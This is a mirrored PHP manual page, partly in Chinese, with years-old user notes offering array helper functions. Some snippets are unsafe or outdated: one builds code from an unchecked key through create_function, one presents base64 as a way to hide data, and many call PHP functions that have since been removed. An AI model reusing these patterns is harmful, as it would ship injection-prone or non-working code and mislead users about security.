                   [address] => 555 Somewhere
                   [city] => Podunk
                   [state] => CA
                   [zip] => 90120
               )

           [2] => Array
               (
                   [address] => 333 Someother Place
                   [city] => Podunk
                   [state] => CA
                   [zip] => 91103
               )

       )

)
Example output:
Array
(
   [name] => John Doe
   [email] => johndoe@earthlink.net
   [address1] => 555 Somewhere
   [city1] => Podunk
   [state1] => CA
   [zip1] => 90120
   [address2] => 333 Someother Place
   [city2] => Podunk
   [state2] => CA
   [zip2] => 91103
)

<?
function flattenArray($array,$keyname='')
{
   $tmp = array();
   foreach($array as $key => $value)
   {
       if(is_array($value))
           $tmp = array_merge($tmp,flattenArray($value,$key));
       else
           $tmp[$key.$keyname] = $value;
   }
   return $tmp;
}
?>
Atomo64
04-Jan-2006 09:14
Here's a simple way to convert an array to a string and vice-versa.
Note that it does NOT support string keys,
for more information take a look at what it does:

<?php
class OptionAsArray
{
   function make_the_arr($value)
   {
       $newValue=array();
       $vals=explode('&',$value);
       foreach($vals as $v)
       {
           if($v{0}=='@')
           $newValue[]=$this->make_the_arr(
           urldecode(substr($v,1)));
           else
           $newValue[]=urldecode($v);
       }
       if(empty($newValue))
       return false;
       else
       return $newValue;
   }
   function make_the_value($arr)
   {
       $newValue=array();
       foreach($arr as $value)
       {
           if(is_array($value))
           $newValue[]='@'.urlencode(
           implode('&',$this->make_the_value($value)));
           else
           $newValue[]=urlencode($value);
       }
       if(empty($newValue))
       return false;
       else
       return $newValue;
   }
}
?>
ryan1_00 at hotmail dot com
02-Jan-2006 12:02
The following will take a query result and create a dynamic table for it. Using the Key() function to get the table headers and the current() function for the actual values.

$result = mysql_query($qry) or die ("<center> ERROR: ".mysql_error()."</center>");

         $x = 0;

         echo "<table border=\"1\" align=\"center\">";
         while($row = mysql_fetch_assoc($result))
       {
           if ($x == 0) // so that table headers are only created on the first pass
           {
               $col = (count($row)); // counts number of elements in the array
                 $x=1;
               echo "<tr>";
               for ($y=0; $y<$col; $y++)
               {
                   echo "<th>";
                   echo key($row); // gets the names of the fields
                   echo "</th>";
                   next($row);
               }
               echo "</tr>";
           }
           reset($row);
           echo "<tr>";
           for ($y=0; $y<$col; $y++)
           {
               echo "<td valign=\"top\" align=\"left\">";
               echo current($row);
               echo"</td>";
               next($row);
           }
           echo "</tr>";
       }  // end of while loop
jonathan at sharpmedia dot net
05-Dec-2005 10:37
/**
 * Flattens a multimentional array.
 *
 * Takes a multi-dimentional array as input and returns a flattened
 * array as output. Implemented using a non-recursive algorithm.
 * Example:
 * <code>
 * $in = array('John', 'Jim', array('Jane', 'Jasmine'), 'Jake');
 * $out = array_flatten($in);
 * // $out = array('John', 'Jim', 'Jane', 'Jasmine', 'Jake');
 * </code>
 *
 * @author        Jonathan Sharp <jonathan@sharpmedia.net>
 * @var            array
 * @returns        array
 */
function array_flatten($array)
{
   while (($v = array_shift($array)) !== null) {
       if (is_array($v)) {
           $array = array_merge($v, $array);
       } else {
           $tmp[] = $v;
       }
   }

   return $tmp;
}
madness AT l33t DOT it
25-Nov-2005 01:18
A little function I like to use instead of the classic one, it lets me choose a better format an is overall more versatile:

<?
function get_image_size($filename, &$imageinfo){
   $rawdata=getimagesize($filename, $imageinfo);
   $refineddata=$rawdata;
   if ($rawdata){
       $refineddata=$rawdata;
       $refineddata['width']=$rawdata[0];
       $refineddata['height']=$rawdata[1];
       $refineddata['type']=$rawdata[2];
       $refineddata['attribute']=" ".$rawdata[3];
       $refineddata[4]=$rawdata['mime'];
   }
   return $refineddata;
}
?>

Notice I also added the extra space in the attribute field, becuase I usually use it like this:

<?
echo "<img src=\\"foo.jpg"".$imgdata[attribute]." alt=\\"foo" />";
?>

This way if the attribute happens to be a null or empty value the tag doesn't contain double spaces.
stalker at ruun dot de
20-Nov-2005 05:15
I had some problems while selecting sub-arrays from multi-dimensional arrays (like the SQL-WHERE clause), so i wrote the following function:

<?php
function selectMultiArray($__multiarray,$__key,$__value) {
  foreach($__multiarray as $multipart) {
   if($multipart[$__key] == $__value) {
     $__return[] = $multipart;
   }
  }
  if(empty($__return)) {
   return FALSE;
  }
  return $__return;
}
?>

hope someones finding this helpful. If you have better was for getting to this, please answer.

greets,
St4Lk3R
Rajaratnam Thavakumar--thava16 at gmail dot com
25-Oct-2005 11:16
<?php
/*
This will return the N possible future dates acording to your selections of parameters
mydates_array([Which Week in a Month],[Which Day in a Week],[No of Dates have to return])
Eg:- Every 2nd Sunday mydates_array(2,0,10)
$Dateid---> Sunday        - 0 ,    Monday        - 1 ,    Tuesday        - 2,    Wednesday    - 3,
           Thursday    - 4 ,    Friday        - 5 ,    Saturday    - 6
$weekid---> * can not be greater than 6
           * if weekID is equal 6 it will return the Last Day of the weeek.
           * Eg:-mydates_array(6,1,10);
           * it will Returns 10 Last Mondays
           * Please note weekid 5 is not availble in all months.mydates_array will not returns $no_returns that you want.
           * Eg:-mydates_array(5,1,10);
           * it will Returns 5th Monday
$no_returns--> No of dates that you want
By: Rajaratnam Thavakumar(thava16@hotmail.com)
*/
function mydates_array($weekid,$Dateid,$no_returns){
  if($weekid<=6){
   $todayweek = date("D");
   $myarr=array("Sun","Mon","Tue","Wed","Thu","Fri","Sat");
   for($k=0;$k<=6;$k++){
       if ($todayweek==$myarr[$k]){
           if($k==0){
               $currentdate=0;
           }else{
               $currentdate=$k;
           }
     }
   }
     //get Dateid ----------------
   if($Dateid==0){
       $Newmyday=date("d")-$currentdate;
   }else if ($Dateid==1){
       $Newmyday=date("d")-($currentdate-1);
   }else if ($Dateid==2){
       $Newmyday=date("d")-($currentdate-2);
   }else if ($Dateid==3){
       $Newmyday=date("d")-($currentdate-3);
   }else if ($Dateid==4){
       $Newmyday=date("d")-($currentdate-4);
   }else if ($Dateid==5){
       $Newmyday=date("d")-($currentdate-5);
   }else if ($Dateid==6){
       $Newmyday=date("d")-($currentdate-6);
   }
   $thisweekId=$weekid;
   $count=0;
   $column=0;
   $myval=$no_returns*5;
   for($i=1; $i<=$myval; $i++){
       $week1a = mktime(0, 0, 0,  date("m"), $Newmyday,  date("Y"));
       $week123=strftime("%Y-%m-%d", $week1a);
       $Newmyday=$Newmyday+7;
       list ($iyear, $imonth, $idate) = split ('[-.-]', $week123);
           //Insert Dates into Array
             if( $idate<10){
             $idate=trim(str_replace('0','',$idate));
             }
           $myweekno=ceil(($idate + date("w",mktime(0,0,0,$imonth,0,$iyear)))/7);
             $row=$myweekno-1;
                   $Mymonth[$i]=$imonth;
                   if ($i>1){
                   if ($Mymonth[$i-1]!=$Mymonth[$i]){
                     $column=$column+1;
                   }
                   }
                   $EveDates[$row][$column]=$week123;
     }
   $count=0;
   for ( $column = 0; $column < $no_returns; $column++ ){  //--for1-----
   $mynewcount=0;
       for($row = 0; $row < 6; $row++){ //--for2-----
           if($EveDates[$row][$column]!="" && $thisweekId!=6){
               list ($iyear1, $imonth1, $idate1) = split ('[-.-]', $EveDates[$row][$column]);
               $myweekno=ceil(($idate1 + date("w",mktime(0,0,0,$imonth1,0,$iyear1)))/7);
                   if($myweekno==$thisweekId+1){
                           $week_n1= mktime(0, 0, 0, date("m"), date("d"),  date("Y"));
                           $week_m1=strftime("%Y-%m-%d", $week_n1);
                           if($count < $no_returns && $EveDates[$row][$column] >= $week_m1){
                               $mydates_array[$count]=$EveDates[$row][$column];
                           }
                       $count=$count+1;
               }
           }
           else{
             $mycount=0;
             if ($row==5 && $thisweekId==6){
                 for($e=5; $e>=0; $e--){
                   if($EveDates[$e][$column]!=""){
                   break;
                   }
                 }
                   $week_n1= mktime(0, 0, 0, date("m"), date("d"),  date("Y"));
                   $week_m1=strftime("%Y-%m-%d", $week_n1);
                   if($mycount<$no_returns && $EveDates[$e][$column] >= $week_m1){
                       $mydates_array[$count]=$EveDates[$e][$column];
                   }
                   $mycount=$mycount+1;
                   $count=$count+1;
             }
           }
       }  //--End of for2-----
   } //--End of for1-----
  return $mydates_array;
}else{
echo('WeekID Cant be  more than six!');
}}
?>
<select name="eventDate" style="border:1 solid #000066" >
<?    // Return 10 Every 2nd Monday dates
$myarray=mydates_array(6,5,10);
 for ($i=0;$i<count($myarray);$i++){
   list ($iyear, $imonth, $idate) = split ('[-.-]', $myarray[$i]);
   $week1a = mktime(0, 0, 0,$imonth, $idate,  $iyear);
   $week= strftime("%A %d %B %Y", $week1a);
?>
<option  value="<?=$myarray[$i]?>"><?=$week?></option>
<? }?>
</select>
msajko at gmail dot com
19-Oct-2005 04:25
array_to_string and sister function string_to_array with multi dimensional array support.

// Converts an array to a string that is safe to pass via a URL
function array_to_string($array) {
   $retval = '';
   $null_value = "^^^";
   foreach ($array as $index => $val) {
       if(gettype($val)=='array') $value='^^array^'.array_to_string($val);    else $value=$val;
       if (!$value)
           $value = $null_value;
       $retval .= urlencode(base64_encode($index)) . '|' . urlencode(base64_encode($value)) . '||';
   }
   return urlencode(substr($retval, 0, -2));
}

// Converts a string created by array_to_string() back into an array.
function string_to_array($string) {
   $retval = array();
   $string = urldecode($string);
   $tmp_array = explode('||', $string);
   $null_value = urlencode(base64_encode("^^^"));
   foreach ($tmp_array as $tmp_val) {
       list($index, $value) = explode('|', $tmp_val);
       $decoded_index = base64_decode(urldecode($index));
       if($value != $null_value){
           $val= base64_decode(urldecode($value));
           if(substr($val,0,8)=='^^array^') $val=string_to_array(substr($val,8));
           $retval[$decoded_index]=$val;
         }
       else
           $retval[$decoded_index] = NULL;
   }
   return $retval;
}
phpnet_spam at erif dot org
18-Oct-2005 09:36
Thought this might save someone a few hours. :)  Feedback welcome, of course!  Public domain, yadda yadda.

function assocSort(&$array,$key) {
   if (!is_array($array) || count($array) == 0) return true;
   $assocSortCompare  = '$a = $a["'.$key.'"]; $b = $b["'.$key.'"];';

   if (is_numeric($array[0][$key])) {
     $assocSortCompare.= ' return ($a == $b) ? 0 : (($a < $b) ? -1 : 1);';
   } else {
     $assocSortCompare.= ' return strcmp($a,$b);';
   }

   $assocSortCompare = create_function('$a,$b',$assocSortCompare);
   return usort($array,$assocSortCompare);
}
designatevoid at gmail dot com
14-Oct-2005 09:40
Here's an improvement to the array_to_string and string_to_array functions posted by daenders AT yahoo DOT com above.

They now handle NULL values correctly.

<?php

// Converts an array to a string that is safe to pass via a URL
function array_to_string($array) {
   $retval = '';
   $null_value = "^^^";
   foreach ($array as $index => $value) {
       if (!$value)
           $value = $null_value;
       $retval .= urlencode(base64_encode($index)) . '|' . urlencode(base64_encode($value)) . '||';
   }
   return urlencode(substr($retval, 0, -2));
}

// Converts a string created by array_to_string() back into an array.
function string_to_array($string) {
   $retval = array();
   $string = urldecode($string);
   $tmp_array = explode('||', $string);
   $null_value = urlencode(base64_encode("^^^"));
   foreach ($tmp_array as $tmp_val) {
       list($index, $value) = explode('|', $tmp_val);
       $decoded_index = base64_decode(urldecode($index));
       if($value != $null_value)
           $retval[$decoded_index] = base64_decode(urldecode($value));
       else
           $retval[$decoded_index] = NULL;
   }
   return $retval;
}

?>
aidan at php dot net
09-Oct-2005 04:32
To convert an array to a HTML table, see:
http://aidan.dotgeek.org/repos/?file=function.array2table.php

PEAR also provides a simular package with many more features,
http://pear.php.net/package/Var_Dump
za at lombardiacom dot it
27-Sep-2005 11:01
<?php
   // Swap 2 elements in array preserving keys.
   function array_swap(&$array,$key1,$key2) {
       $v1=$array[$key1];
       $v2=$array[$key2];
       $out=array();
       foreach($array as $i=>$v) {
           if($i==$key1) {
               $i=$key2;
               $v=$v2;
           } else if($i==$key2) {
               $i=$key1;
               $v=$v1;
           }
           $out[$i]=$v;
       }
       return $out;
   }

   // Move an element inside an array preserving keys.
   function array_move(&$array,$key,$position) {
       $from=array_search($key,array_keys($array));
       $to=$from+$position;
       $tot=count($array);
       if($position>0) $to++;
       if($to<0) $to=0;
       else if($to>=$tot) $to=$tot-1;
       $n=0;
       $out=array();
       foreach($array as $i=>$v) {
           if($n==$to) $out[$key]=$array[$key];
           if($n++==$from) continue;
           $out[$i]=$v;
       }
       return $out;
   }
?>
Domenic Denicola
16-Aug-2005 02:49
Another JavaScript conversion, this time to objects instead of arrays. They can be accessed the same way, but are declared much shorter, so it saves some download time for your users:

<?
function PhpArrayToJsObject($array, $objName)
{
   return 'var ' . $objName . ' = ' . PhpArrayToJsObject_Recurse($array) . ";\n";
}

function PhpArrayToJsObject_Recurse($array)
{
   // Base case of recursion: when the passed value is not a PHP array, just output it (in quotes).
   if(! is_array($array) )
   {
       // Handle null specially: otherwise it becomes "".
       if ($array === null)
       {
           return 'null';
       }

       return '"' . $array . '"';
   }

   // Open this JS object.
   $retVal = "{";

   // Output all key/value pairs as "$key" : $value
   // * Output a JS object (using recursion), if $value is a PHP array.
   // * Output the value in quotes, if $value is not an array (see above).
   $first = true;
   foreach($array as $key => $value)
   {
       // Add a comma before all but the first pair.
       if (! $first )
       {
           $retVal .= ', ';
       }
       $first = false;

       // Quote $key if it's a string.
       if (is_string($key) )
       {
           $key = '"' . $key . '"';
       }

       $retVal .= $key . ' : ' . PhpArrayToJsObject_Recurse($value);
   }

   // Close and return the JS object.
   return $retVal . "}";
}
?>

Difference from previous function: null values are no longer "" in the object, they are JavaScript null.

So for example:

<?
$theArray = array("A" => array("a", "b", "c" => array("x")), "B" => "y");
echo PhpArrayToJsObject($theArray, "myArray");
?>

Gives:

var myArray = {"A" : {0 : "a", 1 : "b", "c" : {0 : "x"}}, "B" : "y"};

You can still access them just like arrays, with myArray["A"][0] or myArray["A"]["c"][0] or whatever. Just shrinks your pages.
dieter peeters
11-Aug-2005 07:35
in response to: Domenic Denicola

I reworked your function a bit and thought i just as well could post it.

Below is the cleaner version, just cut and paste ;) The third parameter is of little use to the coder, unless javascript declaration of variables changes at some point in the future - who knows.

Only minor point is the added parameter which probably gets copied every recursive call with an empty value, though i don't know the exact ways how php handles recursion internally. Most of the time php is pretty smart when optimizing code and an empty string shouldn't take much memory anyway :)

<?php
function phpArrayToJsArray($name,$array,$prePend='var ')
{
   if (is_array($array)) { // Array recursion
       $result = $name.' = new Array();'."\n";
       foreach ($array as $key => $value) {
           $result .= phpArrayToJsArray($name.'["'.$key.'"]',$value,'');
       }
   } else {  // Base case of recursion
       $result = $name.' = "'.$array.'";'."\n";
   }
   return $prePend.$result;
}
?>
michael at imreo com
21-Jul-2005 08:20
Reply to array_cartesian_product of skopek at mediatac dot com, 13-Oct-2004 12:44:

Your function does not work in my configuration (WinXP, apache 2.0, php 4.3.11).
This part of code:
...
} else { //if next returns false, then reset and go on with previuos array...
  reset($arrays[$j]);
}
...
cause infinite loop.
Replacing to
...
} elseif (isset($arrays[$j])) {
  reset($arrays[$j]);
}
...
works good.

My complete working function (additionaly strings as keys are allowed):
<?php
function array_cartesian_product($arrays)
{
   $result = array();
   $arrays = array_values($arrays);
   $sizeIn = sizeof($arrays);
   $size = $sizeIn > 0 ? 1 : 0;
   foreach ($arrays as $array)
       $size = $size * sizeof($array);
   for ($i = 0; $i < $size; $i ++)
   {
       $result[$i] = array();
       for ($j = 0; $j < $sizeIn; $j ++)
           array_push($result[$i], current($arrays[$j]));
       for ($j = ($sizeIn -1); $j >= 0; $j --)
       {
           if (next($arrays[$j]))
               break;
           elseif (isset ($arrays[$j]))
               reset($arrays[$j]);
       }
   }
   return $result;
}
?>
daenders AT yahoo DOT com
09-Jul-2005 04:49
Several people here have posted functions for converting arrays to strings, but nobody posted a sister function that would convert it back.  Also, their data is not URL safe.  These functions are URL safe, hide the data by MIME encoding it, and are much shorter.  Enjoy.  :-)

<?php

// Converts an array to a string that is safe to pass via a URL
function array_to_string($array) {
   $retval = '';
   foreach ($array as $index => $value) {
       $retval .= urlencode(base64_encode($index)) . '|' . urlencode(base64_encode($value)) . '||';
   }
   return urlencode(substr($retval, 0, -2));
}

// Converts a string created by array_to_string() back into an array.
function string_to_array($string) {
   $retval = array();
   $string = urldecode($string);
   $tmp_array = explode('||', $string);
   foreach ($tmp_array as $tmp_val) {
       list($index, $value) = explode('|', $tmp_val);
       $retval[base64_decode(urldecode($index))] = base64_decode(urldecode($value));
   }
   return $retval;
}

// Example:
$array1 = array('index1' => 'val1', 'index2' => 'val2', 'index3' => 'val3');
echo '<pre>'; print_r($array1); echo '</pre>';
$string = array_to_string($array1);
echo '$string: '.$string.'<br />';
$array2 = string_to_array($string);
echo '<pre>'; print_r($array2); echo '</pre>';

?>
casey geene
30-Apr-2005 06:14
Handy function to walk through an array to get an offset with a given path.

<?php
function &array_path(&$array, $path) {
   if(!is_array($array)) {
       trigger_error('array_path(): First argument should be an array', E_USER_WARNING);
   }
   settype($path, 'array');

   $offset =& $array;
   foreach ($path as $index) {
       if (!isset($offset[$index])) {
           trigger_error("Undefined offset: $index");
           return false;
       }
       $offset =& $offset[$index];
   }

   return $offset;
}

$a = array(
         1 => array(
                 2 => array(
                           3 => 'hi'
                       )
             )
     );

echo array_path($a, array(1, 2, 3));

$ref =& array_path($a, array(1, 2));

$ref = array('hello');
?>
garis at intec dot edu dot do
29-Apr-2005 11:55
this array are always used on form querys... is a nice way to simplify the date inputs

<?php
$dia = array('', 'Lunes','Martes','Miercoles','Jueves','Viernes','Sabado', 'Domingo');
$mes = array('', 'Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre');
?>

and you call monday like $dia['1']...

i used it on a form, that have a lot of date inputs, cuz i wanted to minimize the size of my file..
admin at snibworks dot com
20-Apr-2005 11:40
I have made a new array function called array_split.

It's like explode() for arrays. It searches the array for a specific value and splits the array into chunks divided by that value.

<?php
function array_split($key, $array)
{
   if(!is_array($array))trigger_error("Invalid type provided for
second parameter of array_split",E_USER_ERROR);
   $rarray = array();
   $curkey = 0;
   foreach($array as $value)
   {
       if($value == $key)
       {
           $curkey++;
           continue;
       }
       $rarray[$curkey][] = $value;
   }
   return $rarray;
}

//an example
$new_array = array('one','two','break','three',
'break','four','five','six');

var_dump(array_split('break',$new_array));

/*this returns:
array(3) {
  [0]=>
  array(2) {
   [0]=>
   string(3) "one"
   [1]=>
   string(3) "two"
  }
  [1]=>
  array(1) {
   [0]=>
   string(5) "three"
  }
  [2]=>
  array(3) {
   [0]=>
   string(4) "four"
   [1]=>
   string(4) "five"
   [2]=>
   string(3) "six"
  }
}
*/
?>
ktaufik(at)gmail(dot)com
16-Feb-2005 08:31
For you who works for localized "say" number to letter ( ex , 7=> seven, 8=>eight) for Bahasa Indonesia.

Indonesia "say" or "Terbilang" is based on 3 digit number.
thousands, millions and trillions .... will be based on the 3 digit number.

In Indonesia you say 137 as "Seratus Tiga Puluh Tujuh"

<?php
//build random 3 digit number to be "said" in Bahasa Indonesia
$x=rand(0,9);
$y=rand(0,9);
$z=rand(0,9);

function display_angka_bilangan($n) {
   $angka = array(
     1 => 'satu',
     2 => 'dua',
     3 => 'tiga',
     4 => 'empat',
     5 => "lima",
     6 => 'enam',
     7 => 'tujuh',
     8 => 'delapan',
     9 => 'sembilan'
   );
   return $angka[$n];
}
// Terbilang X-------Say X
if ($x==1){$terbilangx="seratus ";}
elseif ($x==0){$terbilangx='';}
else {$terbilangx=''.display_angka_bilangan($x).' '.'ratus ';}
// Terbilang Y ------Say Y
if ($y==0){$terbilangy='';}
elseif ($y==1 && $z==1){$terbilangy="sebelas";$terbilangz='';}
elseif ($y==1 && $z==0){$terbilangy="sepuluh ";$terbilangz='';}
elseif ($y==1 && $z!==1 &&  $z!==0){$terbilangy=''.display_angka_bilangan($z).' belas ';}
else {$terbilangy=''.display_angka_bilangan($y).' '.'puluh ';}
// Terbilang z ------Say z
if ($z==0){$terbilangz="";}
elseif ($z==0 && $y==1){$terbilangz="";}
elseif ($z==1 && $y==1){$terbilangz="";}
elseif($y==0) {$terbilangz="".display_angka_bilangan($z);}
elseif ($y==1 && $z!==1 &&  $z!==0) {$terbilangz="";}
else {$terbilangz="".display_angka_bilangan($z);};

$terbilang=$terbilangx.$terbilangy.$terbilangz;
echo $x.$y.$z." ";
echo $terbilang;
?>

Hope it is useful
ktaufik(at)gmail(dot)com
tYZ
09-Feb-2005 05:53
In reply to zubfatal, root at it dot dk (25-Nov-2004 02:06):

Instead of writing all those functions you could also use:

array_avg: array_sum($arr) / sizeof($arr);
array_max: max($arr);
array_min: min($arr)
daniel _dot eherbert _at gmail _dot com
02-Feb-2005 01:52
i was unable to use normal means to shift an array element up or down, so i had to write a function to do it... i havent had the chance to test it, but the method is there...

<?
$stuff[0] = 'a';
$stuff[1] = 'b';
$stuff[2] = 'c';
$stuff[3] = 'd';

function array_shift($array,$value,$direction = 'up')
{
   $temp = $array;

   /* search for the value */
   while ($array_value = current($array))
   {
       if ($array_value == $value)
       {
           $key = key($array);
           break;
       }
       next($array);
   }
   /* no key */
   if ( !isset($key) )
   {
       return false;
   }

   /* check if we are at the top or bottom of the array and want to do an invalid move
       ie: top element up, bottom element down
       - return the original array... */
   if ( $key == 0 && $direction == 'up' )
   {
       return $array;
   }
   if ( $key == (count($array)-1) && $direction == 'down' )
   {
       return $array;
   }

   /* reorder the elements */
   switch ($direction)
   {
       case 'up':
           $factor = -1;
           break;
       case 'down':
           $factor = 1;
           break;
   }

   $temp[$key+$factor] = $array[$key];
   $temp[$key] = $array[$key+$factor];

   /* return the ordered array */
   return $temp;
}
?>

$stuff = array_shift($stuff,'c','up'); - will move c up and b down

$stuff = array_shift($stuff,'a','down'); - will move a down and b up

$stuff = array_shift($stuff,'a','up'); - will return the original array

$stuff = array_shift($stuff,'d','down'); - will return the original array

... if the element value could not be found it probably should return the original array instead of false...
m227(a)poczta.onet.pl
21-Jan-2005 12:18
How to count dimensions in multi-array? (corrected)

previous version didn't work when called more than one time.
($dimcount was preserved from previous call)

This is the way I corrected this:

function countdim($array)
  {
   if (is_array(reset($array)))
     $return = countdim(reset($array)) + 1;
   else
     $return = 1;

   return $return;
  }

This function will return int number of array dimensions.
skopek at mediatac dot com
13-Oct-2004 06:44
I needed a function, that returns the cartesian product of some input-arrays in an array. Here is the function that can do that:
<?php
function array_cartesian_product($arrays) {

   //returned array...
   $cartesic = array();

   //calculate expected size of cartesian array...
   $size=(sizeof($arrays)>0)?1:0;
   foreach($arrays as $array)
   {
       $size= $size*sizeof($array);
   }
   for($i=0; $i<$size;$i++) {
       $cartesic[$i] = array();

       for($j=0;$j<sizeof($arrays);$j++)
       {
           $current = current($arrays[$j]);
           array_push($cartesic[$i], $current);
       }
       //set cursor on next element in the arrays, beginning with the last array
       for($j=(sizeof($arrays)-1);$j>=0;$j--)
       {
           //if next returns true, then break
           if(next($arrays[$j])) {
               break;
           } else {    //if next returns false, then reset and go on with previuos array...
               reset($arrays[$j]);
           }
       }
   }
   return $cartesic;
}
//example
$arrays[0] = array("a", "b");
$arrays[1] = array("x", "y", "z");
print_r(array_cartesian_product($arrays));
?>

The output is:
Array
(
   [0] => Array
       (
           [0] => a
           [1] => x
       )

   [1] => Array
       (
           [0] => a
           [1] => y
       )

   [2] => Array
       (
           [0] => a
           [1] => z
       )

   [3] => Array
       (
           [0] => b
           [1] => x
       )

   [4] => Array
       (
           [0] => b
           [1] => y
       )

   [5] => Array
       (
           [0] => b
           [1] => z
       )
)
Greets
Jan
davidj at boundlessgallery dot DISLIKESPAM dot com
02-Apr-2004 09:10
A recursive function for flattening nested arrays:

<?php

function flatten_array($array) {
   for($x = 0; $x < sizeof($array); $x++) {
       $element = $array[$x];
       if(is_array($element)) {
           $results = flatten_array($element);
           for($y = 0; $y < sizeof($results); $y++) {
               $flat_array[] = $results[$y];
           }
       } else {
           $flat_array[] = $element;
       }
   }
   return $flat_array;
}

?>

Example:

<?php

$array = array("0", "1", array("2", "3", array("4", array("5", "6"), "7", "8")), "9", "10", array("11"), array());
print_r($array);
print_r(flatten_array($array));

?>

Output:

Array
(
   [0] => 0
   [1] => 1
   [2] => Array
       (
           [0] => 2
           [1] => 3
           [2] => Array
               (
                   [0] => 4
                   [1] => Array
                       (
                           [0] => 5
                           [1] => 6
                       )

                   [2] => 7
                   [3] => 8
               )

       )

   [3] => 9
   [4] => 10
   [5] => Array
       (
           [0] => 11
       )

   [6] => Array
       (
       )

)
Array
(
   [0] => 0
   [1] => 1
   [2] => 2
   [3] => 3
   [4] => 4
   [5] => 5
   [6] => 6
   [7] => 7
   [8] => 8
   [9] => 9
   [10] => 10
   [11] => 11
)
01-Feb-2004 05:29
To remove an element from an array use unset(). Example:
unset($bar['mushroomsoup']);
28-Aug-2003 09:09
Remember that if you want to remove an element from an array, you must use "unset" - Do not set the value to null.
szymon at mazurek dot info
24-Aug-2003 08:46
How to count dimensions in multi-array?
This is the way I do this:

function countdim($array) {
   static $dimcount = 1;
   if (is_array(reset($array))) {
       $dimcount++;
       $return = countdim(reset($array));
   } else {
       $return = $dimcount;
   }
   return $return;
}

This function will return int number of array dimensions.
add a note add a note

后退 | 起点 | 前进
virtual | 上一级 | array_change_key_case


array_change_key_case

(PHP 4 >= 4.2.0, PHP 5)

array_change_key_case -- 返回字符串键名全为小写或大写的数组

说明

array array_change_key_case ( array input [, int case] )

array_change_key_case() 将 input 数组中的所有键名改为全小写或大写。改变是根据后一个选项 case 参数来进行的。可以在这里用两个常量，CASE_UPPER 和 CASE_LOWER。默认值是 CASE_LOWER。本函数不改变数字索引。

例子 1. array_change_key_case() 例子

<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>

上例将输出：

Array
(
    [FIRST] => 1
    [SECOND] => 4
)

如果一个数组中的多个键名经过本函数后变成一样的话（例如 "keY" 和 "kEY"），最后一个值将覆盖其它的值。

add a note add a note User Contributed Notes
egingell at sisna dot com
14-Apr-2006 09:01
<?php

/**
 * Take an array and make and change the case according to $mode
 * bool array_key_case_change( array &array [, int mode ] )
 *
 * array is the input array.
 *
 * mode can be one of three choices: CASE_UPPER, CASE_LOWER, CASE_FIRST,
 * defaults to CASE_FIRST if left out.
 *
 * Returns TRUE on success, FALSE on failure.
 *
 * Numeric keys will not change since there is no capital 2 (unless you work in tech support).
 *
 * The following IF statements will make sure that the required constants are set
 **/
if (!defined('CASE_UPPER')) define('CASE_UPPER', 1);
if (!defined('CASE_LOWER')) define('CASE_LOWER', 2);
if (!defined('CASE_FIRST')) define('CASE_FIRST', 3);

function array_key_case_change(&$array, $mode = CASE_FIRST) {

   // Make sure $array is really an array
   if (!is_array($array)) return false;

   $temp = $array;
   while (list($key, $value) = each($temp)) {
       // First we unset the original so it's not lingering about
       unset($array[$key]);

       // Then modify the $key
       switch($mode) {
           case CASE_UPPER:
               $key = strtoupper($key);
               break;
           case CASE_LOWER:
               $key = strtolower($key);
               break;
           case CASE_FIRST:
               $key = ucfirst(strtolower($key));
               break;
       }

       // Lastly readd to the array using the new $key
       $array[$key] = $value;
   }
   return true;
}

?>
cmorell184 at comcast dot net
16-Jan-2006 02:59
The following function will do a switch case case on your array keys (foobar would become FoObAr)
Not sure if it will come in handy, but it may
<?php
function array_case_switch($array) {
   $curr = 1;
   foreach ($array as $key=>$value) {
       $newkey = "";
       for ($i = 0; $i < strlen($key); $i++) {
           if ($curr % 2) {
               $newkey .= ($i % 2) ? strtolower(substr($key,$i,1)) : strtoupper(substr($key,$i,1));
           } else {
               $newkey .= ($i % 2) ? strtoupper(substr($key,$i,1)) : strtolower(substr($key,$i,1));
           }
       }
       $newarray[$newkey] = $value;
       $curr++;
   }
   return $newarray;
}
?>
cdblog at gmail dot com
20-May-2005 04:55
<?php
/**
* @return array
* @author Cocol
* @desc  change the key case , if found repeat keys, then  convert to array
* for more detail please visit http://php.clickz.cn/array/array_change_key_case.html
*/
function array_change_key_case_secure($array = array(),$case = CASE_UPPER) {
   $secure = array();
   if ($case == CASE_UPPER) {
       foreach ($array as $key=>$val) {
           $key = strtoupper($key);
           if (!array_key_exists($key,$secure)) {
               $secure[$key][] = $val;
           } else {
               $secure[$key][] = $val;
           }
       }
   } else if ($case == CASE_LOWER) {
       foreach ($array as $key=>$val) {
           $key = strtolower($key);
           if (!array_key_exists($key,$secure)) {
               $secure[$key][] = $val;
           } else {
               $secure[$key][] = $val;
           }
       }
   }

   foreach ($secure as $key=>$val) {
       if (count($secure[$key]) == 1) {
           $secure[$key] = $val[0];
       }
   }
   return $secure;
}

$array = array(
   'a' => "john",
   'A' => "vary",
   'c' => "cocol",
);
print_r($array);
$array = array_change_key_case_secure($array,CASE_UPPER);
print_r($array);

?>
output:
Array
(
   [a] => john
   [A] => vary
   [c] => cocol
)
Array
(
   [A] => Array
       (
           [0] => john
           [1] => vary
       )

   [C] => cocol
)
benles at bldigital dot com
06-Mar-2005 09:20
In case you want to find the original case of a key:

$arr = Array( "a"=>1, "B"=>2);

function array_get_key_case($arr, $k)
{
   $s = strtolower($k);
   foreach (array_keys($arr) as $key) if (strtolower($key) == $s) return $key;
  return $k;
}

// Should print aBC
echo array_get_key_case($arr, "A");
echo array_get_key_case($arr, "B");
echo array_get_key_case($arr, "C");
aidan at php dot net
02-Jun-2004 11:06
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
euphoria{AT}netdoor.org
18-Nov-2002 01:31
Just a note, this function kills any name-clashes!  Say you had:
$array = array('key1' => 'abc', 'key2' => 'def', 'KEY1' => 'ghi');
$array = array_change_key_case($array);

then you would end up with:
Array
(
   [key1] => ghi
   [key2] => def
)

(Change .org to .com to e-mail me)
Armond
add a note add a note

后退 | 起点 | 前进
Array 数组函数 | 上一级 | array_chunk


array_chunk

(PHP 4 >= 4.2.0, PHP 5)

array_chunk -- 将一个数组分割成多个

说明

array array_chunk ( array input, int size [, bool preserve_keys] )

